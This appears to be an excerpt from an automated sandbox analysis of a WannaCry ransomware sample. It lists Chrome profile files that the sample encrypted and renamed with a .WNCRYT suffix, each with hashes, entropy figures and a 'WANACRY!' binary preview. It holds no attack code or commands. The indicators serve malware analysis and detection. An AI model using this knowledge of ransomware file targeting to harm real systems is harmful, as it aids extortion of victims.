                                      SHA-512:312540B3EB975693E8A174EC69C4A3A9E168B0729CBEA159CC0C3F4318E02A2C2B1262D516DB7CD53208C3BB0488E22EE87BD75D02F31D3DD15F26BD0F475328
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......n.........%~X}..S.O.U..CJ.F.-.c..l*........k.....K{....|.4...NY2#....!..+l...T.....d...d.B,.=}..i..U|....T6.`a..c.n.UE.{..._.zx.FT#w...X...6.jeZ.M..bE.>C1.J#.4m4./......."...acQ.....{zm.z.>....>.6._..FA.#...'....b..|..P3... .=HAz...W#.O....?6............}Zi ....Q.`...h..,b....25[r.D,.h..`.Bp..k.#....5e.@. ..2v;%.....(...<.s..pm..4.z.z..c(..e.........^....S..C.1s7.....0v..x.[...8y...W........Y.w.."_~...y.Pg....P.......yA"...Z{.G...I=..i......1....6W....<.. <..:'R.@.z...V....^..!.[../..]c..M...i.....AT.]4....v........l..D.......=<e....CG/.....x.F~"..l.c<..hs,Z...c.../.J!...>.Z.>...N......W~o.q..qu.y....5s.c!.W....@....R0B*..#k$.../4l.<.'.NJ.-............0.5./7...i.C...t.-.M...Y.2>i.g.y ..f...n..L!O.%3..~..../....1...'..RwK.!.K.A.y..V.=9...O(t.}.....e/..!..:.T"_..!t.U4El...cH.....Mu...p.=BB..a...Ea4.:...Yy.3...#G..|1..|.....EIG. .a......J7y~(......|.....wC.-..?.>TR..52.1..v.c....^.1EM.Cp+...U.A....~.e#'....J=Q.Q.,..O.t+....o#...m

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):70648
                                      Entropy (8bit):7.997725642601327
                                      Encrypted:true
                                      SSDEEP:1536:x5Uxxy7WR7gF8NFNw+BUDiHJw16Z9t45yVyS6dXaFrFMJA8mU2Feh:xSMWRc8FW4U8J+e9qEV16IZo9xh
                                      MD5:5D9E952F794A6DFE8916F5BBD1913491
                                      SHA1:DC3290AEEE35B071DB0D0338674E5273C9AC58B7
                                      SHA-256:6BA4BABD632448619D7689662F8F07ACBC4BDF854F498D454BD2E4483D43C766
                                      SHA-512:E4065E5BF55CC774FEC481A61E782A14575E4956CB8DE595412E361F4E919EC539C1791C2149E4379216716D95B40459939C0B90E87E144248EA6DB50730E775
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......#.Q.[G,^y...%..\.p.....%*C..F$..<j....M..L1.0..%...|.*EE..>..T.e.U7Ww_..dZ....3.4.....G....$~!'_..5....;N...U........&W\U.....NH`<Q.-V..W..."K.......l..Zf.....o.N..>0*r.].@.B.......C..MO...K.J%(.....R...;.L......-.._....|).>...E..m.....z....D.............x..`@....l....m...hWQ:a.v!(u|3.^1..&4i..|....k..n?.......1.0.gl.5.e).p...e.0.3.at.S...*...oBe....I%..=h.Z..Y..,+..H.H}...~e..).js..8..N....q..s/.........s...]x..d.e....].b`G.,.!#.<O.:.:R.....WF.[.........y.*......@..2>.P..b.s,.I3m.u.<...>.qO<..........V4.GL".(...E..P.M.A .ww[.a.&H....L......=.a?.\...>%..{b....].UE.E....D_..j ....:....W. .d..V....pw..J.......{......-6.T...I.si.....+.+..H_1j...u../{.J#.e..c...x.m.....T!...'...>.#.....z.1..n..{.....a..........#....F..J.....=.v>..1YCH87...U.$.5T.8M.R...{..P.v.d. }f.8...n..."o.:..>'8....$.']......"..'.....2.+E.~.].).>...#J[..T.........IQ.....Y......0.a...#I..).PW.W#~.#.F..[........$...s.}..u........\....../..a..6\L......n..?6$g.5{.ef...

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4648
                                      Entropy (8bit):7.963330618626037
                                      Encrypted:false
                                      SSDEEP:96:oq6tC6UwOn9FPii4AnmzjoCfB56HjIAxNJPN8dcJyzu7Gdp3rr:PQC6jOnwAmXlT6HjVlPN8SJFydF
                                      MD5:AE501036FA004DAF9E6B08D4C65F689E
                                      SHA1:53996457B8539334BE2E282AF6D42BBCB682F94C
                                      SHA-256:88A9864235F9ABC0BEFE7CBAFD7E5CB35D1CDD5C53F79E6E3F2C7D7DFACE3886
                                      SHA-512:246E6C9CA873C11F411A0FABB0FB0DC8328979D104DDF3EEB40BFD93B1EEB5FB09CB9B7895E7C464DFA77E573511459EFD91F64C47326C1430EB424F6B5A8C3B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......~).h.{....0.....W.....(#_.x...GO..,......w.qZ..;..nC....b..{.w..k...s..E ....q..v..h..=I\.s.2.6WJ...-......._5.,.s.G..h.}{......H. .H.wo.:...$.X..`.X..q.^.9.;..*..)n....}...dImL>.....Pq6.......%....&t.?..Fs|i'....98l\.@.1:...s.{.ws6=.G.iK....S............U;.g.....S.......t._.....k.?..7..u...!l...R.....d..u...Zi...7.a;.0.L.Y.../"..X\=./q....].d.9;..)d..}G..hp.%.....{.....E..E...-....5>U.?A3.y..U.:.6..M..(..%).S..pu9|&.|H....N.L...b....c..6lgX..B...y7..k.WV7...[...I.f....9h.=I...W.C4.).%t.b.7...Srk...._.S..p.....M.i.j& <m...V..k .4>O......?E..TB.\.?N...X...P..rW.L..}..o..S....SU..:.&.:...u..?..*@.F.d.Q.......s..?j....0..w...E..aE.......O.*OA.(.,j-D.q.....\W.:..,.S.....W.f........4l.(I0.....jv..F.W.p@nS.|.#w.9.L}o...) u....a........I..e.u..Hc.`C..l....9.2...S8q..].ip......n.N.Pf....H.Vw.1i...X.=...VJK..SS..o;..c.R.1V.UUM.x.a?[G%...t..y.+.+)L.........j.-..Q$....h.-.E}...q(....Uu.....!.5D......`..G.kjM.1.K.K.;..-.............

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_16.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):840
                                      Entropy (8bit):7.731208918223584
                                      Encrypted:false
                                      SSDEEP:24:bkHE9tTGGwBLu6278HPz1x2oal1L2wbJQAfU/wWV1n:bk05GhR8Oi5l1Fxh01
                                      MD5:8534A3C45F735FCD6376B31DA2F0CE8C
                                      SHA1:D61CDF89833063D2AECB39AADE9E40CDD1FCD541
                                      SHA-256:00387CC838713DB4622501A8143DF0682C0ED5F0284A30F616CDE007910ECB11
                                      SHA-512:958DB50691EDA45A0CC1A056503EE8CA00A862F549EA96CA24D153D6BDE019CC521C5B98DFFC1894125C3037E8AA90467F2586C2C6D76D5FB25B9813E6940D85
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....#..q9.1C.R.p..D+2h.|^@.+....."...Y...d............I2...T...$...yp..pWWr{.s.&}Y.....1{8}..w....E.{:.f...$..WZ~5.).."+...E.1..\..C..H.R......E.[g_Xq..p..n..<.2.....V..T3......X'..A..$..-.n.p5.^..m..+.......1..GC..Aq.....?d7...k...<8.]..Z.-....=.T.............`......M.i.b4..{..|...v.....E..... ......c.....$.;.t.j.^gdh_r."..w.\..".>.Nlx...;b".9z.@.=.b1.[bk...|1D.N../.i:.WE.'(c......Z4P..H...g...0.v.*...\..+.......+..5;k...8..........;QP....\;.Ih....4.i....8...=....7. 3..`....E..<.T..67.....n7Y..D..........EyO..X..r..v'a...cq.5&wDA..d.f.W.q~......5...zw.......a.ga.7..s"xR..X.&.B..7...A....y.G...P..........%...:..sl.L.....L..C...n.+..J...H.Xq......+......l........>H.....p.:..e."..u.X....:.m..N...;....!I..u.h.?81.N..-Y. ,.m.d2....1...Ns....$.e..r.R.......#C+...f...U.+.....,Js.f.0

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):440
                                      Entropy (8bit):7.503578527671297
                                      Encrypted:false
                                      SSDEEP:12:bkEg5C166GmyavWYvJy7easRTqnO779tun6iu5O00AWPV:bkc66Y3Yxy7e5Txu0OJ
                                      MD5:B7EDB09D463AFF69CA08C2E6AE93B5CF
                                      SHA1:F79F293A41436EB32E43D2E2BB54CD9BA3EEF64E
                                      SHA-256:D27DD78FAAD5744439D5544AD8F3570DF1B368B3D53C4C33492590B2E6329708
                                      SHA-512:67B4F0BB96E60FD8A8FA78230E735E12966318FBB148ED5CFD13D61F56797687BA59AF48D33918570607369E6335B3F6FC3E02805A5F9B2A8B86385E71660F7A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....L~o..-Z....T.Bh6.........b.9..B.Uk.5..h.P.q.....!.....t.......88wb5.........`...C*..y.&....Z..f..oL_.L.d.]o..A@M.Zf..@.QG...|..2....I...%W....D.u.el."........a.....@aj~ch.-o?...&t_.*W.."..|........`3..tv81'..^Q.5....f9N....g.$!....m..1...6.............%yX.f,<-...Y......#.Jy^.9.l...(.R....)4.lF...n.E....l"*...~c...7..V..................}..7..N/....@,..H3*........q.......x.t.=).w`...-Z.99..s..N..V.n/.=Y

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_close.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):536
                                      Entropy (8bit):7.53291240246821
                                      Encrypted:false
                                      SSDEEP:12:bkEzhzlzMcKLm25TUgo46WBQAsyqYuAdOjnEaQ0mjctP5TNEQ3B3v4:bkYhzlYcz25Tw46yqDAdYQDqP5JEQ3S
                                      MD5:69331DB05470071E47876E0FA4A95B0A
                                      SHA1:90F87CD20F8B6207912FCB56054FA9793B06685F
                                      SHA-256:A6E2E505D38868A460E3E086F6C5CD1D643F941F965F28D08B8B0D7868D9232F
                                      SHA-512:ABC933D42F13859540E20D79DE7879829C30E390D360BF8C7AA32E507831914CF10EBC82475317F94320CD74DFA8CEB533B133ABD88132086D27BCFE197D81AA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........I#>#./.|..U5:A.?.m".9$CD...s.k..{t..b...~...uM..%'.3.$rs.[.f.#5.o...3."t..<..Qp....5l....8...z.jP.sg......y.V..dl...-u.:[FD.8..c.-...L9'/J.g...V.k........a.}C....O.....s|...u.z..).cQ.._.A...e..Mh#T..N..!.M.)..:.<#;u.u.0......bx6.W..9..vU.s.|.&............Y...~.j6....u..W....k.9gq.....7.@..mL....b....9.K.My.3.5...)G..0....A.....N...k.%.z..-...u..m(.\u.R....N.W.....{)...._+..w..K...6_...w.hb.......]N.....v..p..........s.>sw....>.XQE..g...(...F.ja..:T9JK........0.*.^.(g..4...N.3...e...KbR...

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_hover.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):440
                                      Entropy (8bit):7.4533429171186345
                                      Encrypted:false
                                      SSDEEP:6:bkEbgoiqV0NICXWJlcujCNruPloHfsRFOxFh+gZMCcVYYyjvPk1Ay3DojfNPZTWu:bkEqqCBWhYrTER8J+WMplyjcd38PZTWu
                                      MD5:5F99505FB67C2E7D96481CDF0044AB40
                                      SHA1:485EB8AC2C13288F4E552DD50F69FC9A4FB7BDAF
                                      SHA-256:B1B93B96CC0A1795312E4D2F22DFF2F4323379627376A6ECA3EEABD26AD0E37E
                                      SHA-512:5CD1694038F5A3A957C24F14E999E59D62CF2E7A087FB03D30378B49B5F449BE589C1293B3B8798063311F7B906CD1248860F6A421DD2EDFDCBE2388E8DB4CDB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....X..`#.I{......:.P\m*.p-..b....8.f(Q..I.uD.(......#f."2.......5...x-.....O.x;NLXB....Z.'t.....I:it>.Y...3....C<...QNy.2......-...J...S..#R]...........(Hk5S..;h...E2..EJ....,.V..T'#.n. .W..I.(...3..R.......|.`...r..7...$.J...[.b.1.:....!.$.....V............8R..Wbmv2..Y....rQgd.>@x...N...........`.Q..?.J.5...t....D...).9d.....?........9..../.%ETJ.T.....0H..=c...].\..ys..`O........3..Q..J..E..LtI.j...$N....

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_maximize.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):456
                                      Entropy (8bit):7.433621719555711
                                      Encrypted:false
                                      SSDEEP:12:bkEAQTU0zm5Levaid2+aLYoPRKBRELBFYUzK7vIp:bkxb0zmqCzLYoZKBRCXzK7M
                                      MD5:638DDB1B7E9E4D567BBFBFD49F5514FD
                                      SHA1:B9268EB725D30E81E5ADF7E474AA98053CF558B8
                                      SHA-256:D6A9A5488563BEDD3CF7EE1A28349120CBDCD4E7CA255801EDF0EDFB0F4716DD
                                      SHA-512:D734F3BDCA81A29D2B3EEF7C3EBFBAE3540B83B4C35DE9EA39832C2B08E2FF55A539A01B73EC5EE02A2F163B56298C9D38E3EF9D02FB3B98A3D682F826F68A69
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....B".u..|..L....$.8....a?B.f}w........Y.+........|J...9.0.O.=.........p.~.}.!. .~C.+...j....w;N.o=X...*..-...L:.<{....CJ.6.RX..)...)...XE(_I*=...=..c+.U..y...Rf.i^W.....[......f.).X..:.B.Tk.......f}jP........K......lJ4.......w.?.0.0....-..,.N.T...............a....x......)~.:.evH....x..=..?~N.3.6R.'./[a....\.S....;.7n.u...I.b.....,^N.n...;.f3lr.u*.........Gw....M...O..R.&IUvv9%.;.1..o...4.x.0p.M.1t..[.f.KP..pm.&.+[.....Sw%dF.

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_pressed.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):440
                                      Entropy (8bit):7.442910893332763
                                      Encrypted:false
                                      SSDEEP:12:bkE66nVPl+8542LFAKcadsSDjqzl02WrG7ct3lPWwBuDEr:bkFiNd542hAKci2t6tVYYr
                                      MD5:977F85DCE6ECF2D9BBCC74C325302290
                                      SHA1:E68DACB28E4F715A3643CF2E118CC368EC8F1F72
                                      SHA-256:119580B7164469113E2849E5D42EF5E0B552F8FE74572A6475A810E3E258E629
                                      SHA-512:2C2668C17F2D9FF48C0F256CE67E7F767C5F46E27A4530209387E8C20DD6063B8EB145ED6140AC96154B1EC9A86E8A30284DE0895CCE9BF0543BE613B3197EB3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....2k.V.Ol.....?...I..y.L/..ZT+.~.7.[2..5....|...k.s&z.'%.?.d.w.u..i[...d._.(4..[......K.SY............<8S..nP.,Y.*Z..Vn.+.p..G..W ....o{."jH.o.....:...s..n5@. r$..Y.2L.g.r.s..V...ZGA..........n.,..Q......V..Y.!.)....VZW&.;|.Sm..h_c..f....ouN................@.=.W&^...B...o.;.o....xy.mj...I0..9.M.z.1b..!.R......y.V....O.=.._......%[.,..J.j....(.............w.3..8.<...3.^.a.&....|..?y....2...9......d.....C.R.

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.3_0\128.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):2296
                                      Entropy (8bit):7.9137634160542545
                                      Encrypted:false
                                      SSDEEP:48:bkfMdEQwQzFEF2VpN7HiTYAKNWXXF2oMEKjkXUdHT9:ofMd4QzFEEVf7yYv6MgEdHp
                                      MD5:976431D821A6DF2A9F31884CBFA84ACA
                                      SHA1:FFD2BD549BD781D263A880E2F73550D93F4149A4
                                      SHA-256:1A5234DD79995B7A0067CBAAEA08253F2D477AC7659533D632A29B69BA40F14B
                                      SHA-512:EDFFAA9C73A92D17E2401B7B7B633628802BD30BF98C659FBACE2B4A0321FE36F192006E7D2417D2D4DD17955FA8550C2360EE4EDC3DE16E3102C40E96E55BDD
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....q......pJ...]....U.6.F,tJ].E.p". ...n...)..T..q...<.V.r0.^L..Q..^...h..f..,...~#PW..N.U#.DW1..Hu.._.E..{tPs..H...IF....0.._t.=..b.OL....;:-u.),<..E.}Wpt.7.R..46).Qiy.....L....#{..W..r.<.@-............>J...bz..K....\....S...d.c...F.......c...g............P..........W.........\.....lrY..Gp...hr.....m..-.;..Dw....9s..^....<.....Rp...D...,3..@.JT...k....`..0..,..|m.c.{.d$......t:.....n.../#>...i.s.Y+....f:..p.h......_S.Y......~S....Zp.5..^.#.!....'~3....wU.`&O..G.J%.....@}Q..........4wF..;.<.}....vk.y.@.".`<..i5.38.>P.}.=b.96........\.&..NY..k..=.4..4....n..M.i.......kHa{..:.....a..,..7.&rC..x.s.........f8.*...#0..k..|..= g.....f.tJ.`..6p.k......G;B..U..6..A.Ko..5w_/m.@......p'C.T'....j..z..$.....;.t.:./.....^@;...2.)..z$..\.....B}.Cy....m8...LB*3.t...L.@H...4.f.....A.M...d]..Q..!j.0BA9.u...F......\.ah...#.&...P...q....P.)P0...~^...eR.L..,...W...<k..i..@..9.....8..MjQ./.....h..]....Z.V.3.......<..?...R...U.E-..v0.H...9..-..6.^....!.(.q...

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\7d1231262330823bd07f6259b80025388c6b86e3\index.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):376
                                      Entropy (8bit):7.294487613896578
                                      Encrypted:false
                                      SSDEEP:6:bkEOcb/5Hk2yMhIHbJADeIyzGZT3nnJtFSqWI63YPTwvlbUQzQxkKiLMaw7:bkEOSleMhsKDetiT3nJtF5p6GFiLLE
                                      MD5:0DB52C5A05DC194D32370137D2747A94
                                      SHA1:C213269ED254DAA2D13303C99BFF531236010137
                                      SHA-256:EA4E049B3693C80B596E721129EA9B21417F947BE2C184904EE638B1F86602B4
                                      SHA-512:F6BE641D93EBBEAE8C6CFCDA888E4A0F220A94587EB78DCAFD7310F8FF751DD8120F1F665ABECEBC313600EBA40006AE840861E4E740CA461ED3899D09EE9E6E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....h.2.#.].q.Z..u...q.}y.....E..?e..@.O/..v.B.....P.d."....,...a.....u.HB..Y.X.^.. ak.&.'.L..yz.@...m....=....p.u.|EG..\...4P..s>.&..ew.z[.H.K{.[..d..l.x....B....V.}.i9........E.=..Eo-.*.e<.....>.-.a.D..L.kJP..u..5y...aC...i..2W.A.g\.f.....z..J..a.Z....Z........6...<..79.c...C{N-?..aQ....G....z1n&.{.0.O!...V.L.. ..@.4..A.A..e../>.U.\zT_..\...#....Y.<.

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):28952
                                      Entropy (8bit):7.9943202906376705
                                      Encrypted:true
                                      SSDEEP:768:+8Wr04pMf4Khro3vyH1tfwX8i1TQq1Xen3rB3T1soK0:3Yq4AZnfwdh5eVRsoK0
                                      MD5:0CBE440C734AF35802BEA1D62F948C9F
                                      SHA1:1F8BBCBA7E3E9FAF7F6538F6818EED0C1FFE6A87
                                      SHA-256:0293E52B8394236432EF03F9246D3C98005ADB6D42C09DE02E02C51B8F4CA4FB
                                      SHA-512:A288ACB29D63E0E76C98AB6F5B5119FC6BCD2FF4FE29CCEBB80396823A933583DC2F6D02252E2908102A8C59A2B32512978597BE6271237C56457C7C50FE068F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....J.7|!..K..,]-..F...8qFy...7.g..a.o.....RS.*o$...e.{9..D..8.h.S..zi.'..Q.M:d.p..}...3MU/..........!.........K...M.........e...D.h...'h#c.c.r..]...\.....l..\.>j..z.2....Q..:.'yZ<...*...>.."N.|+...b...B..R.\..1.y....9.D.....:...]...r(...qi.......p........:...Bh..9.o....n...;'\...l..R.&.Q.>;.e...k.D.rCR.{....=\a ......,T..X7..-E..v .IXO...)..Z..y......L...?8..u{..q..s.i..RTV....y...B.uL.g..V..@.....e.M..^..)6.C...vM.....N.$i...&.lX... %..#c.WHJ8J.p......J$...,...J.~.8.;.&..$.Bp.....F..S.Ir..G!7....Ew...*.D(..d.3....g@'oj."...w...d*............-..Z...."SC..g...Z........<|.Of..!`..6.PH.K.n.gT..+.+..p6M.<L.%E..F])9,.V......w.G.....enx.$Q.]..O.Y.o`.m.W..f.}..5{fQ...~..r..4A.....M.0oH.|....E.@.....B...e..M..... .. ...Ty<.7.k..W.6...WC.....nlM.C.u.6.....a...,X.L...`2..C..I4.....xx.O.y._2.+F.h.G.?..E.ag.x(s.".V.~W.R\i...4u<.yGmvf.sW....O..Al.......>{m../H....s.i.....od....Z...z.3.k..R..C!p..X.p.ZS......d.?uo ..#q.j:...rr;z:.`k...I.Z.n..^.!=..

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):16664
                                      Entropy (8bit):7.988348928796091
                                      Encrypted:false
                                      SSDEEP:384:wKD2MGQ6FZWgg/xC1B46HtBriC8NT6oIJWbAZbuZtdCQv64ZL:wrq6Fspe46HPiC8wo8PZbupCQvhL
                                      MD5:DD7C315EEA37329328B1AC43638E0D60
                                      SHA1:6708E52DCDA51D1EF88287B6B404993302D65F58
                                      SHA-256:0BE3560E97FF4230CE7835C6EA4E5F36F429953300D3FC10EA3F216686CE4FCC
                                      SHA-512:15D441F16E3A452327FB2F9513486F7BDCF0331684AF1CEFCFA547586C3F126CB953E74FCCB2EA5081720587BFFF70C3B67D1EAA2EA97012B53237CF48773533
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......{....G..k;.,}...8...Bj..b3.n...C.09,r...~+B....?_.i....}......R..^@.`T'.....3E....#.....u..0T...:b......~ZVc.U...R...*......!\.....V.k...E.....0Wl.6'MA.M .s-.9&..bo.c.O.y..s<..p.......gy.i. ...z1..v.&....G+t.9..>..~..2.o.._o..w.....v(l..0.O@.......@.......p.%0h....K.|.h!-.z7.6.a7'....N.....+CG.l..2i...K.....TK.v........z.6..*.N...(um...@.y......1.I~i.F..o....].m..B.~_.,.....u....RZ....D.r..N.E.)....z.|.....PP..jw..z...A...6R.M[.+....15./....E..K.y.|..T.2...9..}R.DN4...2,1..<bfg../.4.h.i..#e.q..?..J ..;.5<6.4)#...$w@g>t;;....-.TFD.....E..x..;....K..{.A.5....S..';K..^....g. .i.lO..S'EWH..v*..D6.o9ca{.....6Y..c......\tD.v.I....|.....j5......YeT....*b..*..}F....QZp>..&v...V.W...NSU\.Z.`.DB...i.H-,.*...H.].N:e..7c\..'...|8.Q.j./..9...wL....K.*.)?..... ........=.....#".0.oJ[.A.DQ.u.c_....m...r.5....<........@..&..^$.+..UD.G.nq......Z..RV...{.....M...{...V..C...../..........3.G.5.3....&e.........|j....z.7^i...t.......R....>...+....q..t..

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.29.4\LICENSE.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):24904
                                      Entropy (8bit):7.992728328335249
                                      Encrypted:true
                                      SSDEEP:768:vTH9L7j2h3hxMTuFSl835nwBfZIaTn/PXFKIXZcE/yr:xL7jgYik+wB2ab/P1pBq
                                      MD5:D4BA36A71126E7C18B0C20868E5E8806
                                      SHA1:B3F7FE4D17F15E08F6CE76C80CBEDF42DE53989F
                                      SHA-256:77369739CEB472110425AADDBDFF6E19743EAC0E3BEBA204EA70549CEF7D8FB0
                                      SHA-512:DE2DF5DBB1D4E4C14B4418237647393C38A77CC469B287F872C2394547B069BEC4B264F583A37B44CCEF6E849FF17F32F09925AC295EC35035098B2AFD028A1E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....:....z....eT..kn.(.H.Z....&..Q...&..N...C~.BwM..........T.\..JG...x..i.&..i..Z.Y|..KR..Q.Bi1.`..W`..,.>I..Y..?a...../..a...e....H]..6.%......T.a...q.r./..Z1....}..5.....eT.......Z......s.../.hv{./..Q.p&..../~....$=.....N.a.-...fJ......D..../`......a.1...s.U..1...........f.O.uO.....6O..m.).E......./AVHS..\))+..<..w..U.a.@q.....\...`w6..H.B..T...[1.'e..;.h...%#g.>Oja...4..`k.:,P.I....."d. ..xm.sG.X.......s.vZ.>.-x...A.K.....'.W..bS}...+..`...H.@$O...a..!.:w....L.b<....u.W.-..A.t...Ug_&..;..IH.#r.G...]......*c..x.7..t.G...-.&...G...9...R.1...\.....H......d....f...0.yf....E.~s....:4..P%...21..P..yI.....kn.....(..M.\z3T~.....5ukYv.O.9......B.....P.8.|.].o.<.h.*..B..#S..S....1v.B..nz...S.&B.M+....z..}n..&..j%-j..a.._..'.t.w....A..m.n.-i.....g...Qio.Iv...u.......(.Y..[LS=.""".=g8.4#,....`..]...... .....S)+.....]....|...N>..7+....b7.s..;A.*v......... .*p....T.;h..+.*.PD..g...0T..W..wL.mf.K.....t.........b..W;.u..j.."W...m...`Z.....

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\english_wikipedia.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):277304
                                      Entropy (8bit):7.999390160702623
                                      Encrypted:true
                                      SSDEEP:6144:6mf0rLoxWtKcwXjJ8AdM7h4gahdzoCDntMnUgw:6mf0rLBMcAtHI2gav5DKq
                                      MD5:27CA1780DBB00EA89D4801E47BD62144
                                      SHA1:A43327B43CB6DB32760B7FB2E1D7B097F4AF5348
                                      SHA-256:CDA30665C8188BD29041F03C4DA2673FD4B3995BD1A30A6C00604EE11CAC40F2
                                      SHA-512:43829FD0649AC96DBA26C67007D3883B4232660AC24C6BA3CFCC0635D514E9F6DA57206189F50BCE60ED56C60373CEDD45C8D986700125A749F921C1E5ED0719
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......A$ x..o.L._.8Q..y.|...\t...p+../i@..>q..x....[n....+{..^<..BRE..?4\W,...RL.Co.(......|.c...*.....A...SRuN../...A.9e..L/.zt.v..m.\.,.....'vG..M.aD._.)>..p..........n.}S........dpC;.&I=...O........d.b..(N...p.y..../4>D;.=..l3.w]..)W.$.d.._.......:......((W^.20Sg.>..fn..p..:.o.......x{.E.r..~.A.....,..l..a...T.....H.L*..q..k.p7Q.....~3..O...^..|njG.x..9-],tF/../41.V....xr.2(T..S.B..y.P..X@........F.. ..7..}E..}....TQ...SE}.T..B........E..TR..#G..t..G"....^.Cf...7.E.GPl..q.H.Yp......XKaf.........C...p..[:Q..N.C...{.....8..;..M.m....PG......q.<R:..`|l?..WLI.1f...c..'...w..Ko.... (n7xc.!.uE.DRxr.a.`8pR..-Lyk.....E6?........&l.qhu^-.c"T.0...r.......-...c...Y..[.!......=....I...;.i&.....E.O..\.!6..]..+h8.B........8....?...F.?.......G.?/.2.. .'&.>.......Us.v..l.hj..m.P.........{)(&O[G..5.9~..S.....V.n.2~.C..9.....o..N.m....=.z_c..{.Q.[......1.D..d.+..u....u.-,....L..`./....Q...#.[.....v@J.......J.K.|. .......8..I.z..W..Caw`\.f..

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\female_names.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):27000
                                      Entropy (8bit):7.99360651459824
                                      Encrypted:true
                                      SSDEEP:768:PBvY1DsekQ0vyeOzXCb1iIw1RDkzi9bN+:GtsekBvyeOTCk51RDWKA
                                      MD5:5BE3DE0CB9D3686DEF2A2282E7907E80
                                      SHA1:23E9FB25D6EDAF5E3FE2C11715A481126F32B55A
                                      SHA-256:3BB8AF19810953038D841333ECF25BD1B531B8B5920201D20F767E19C936B682
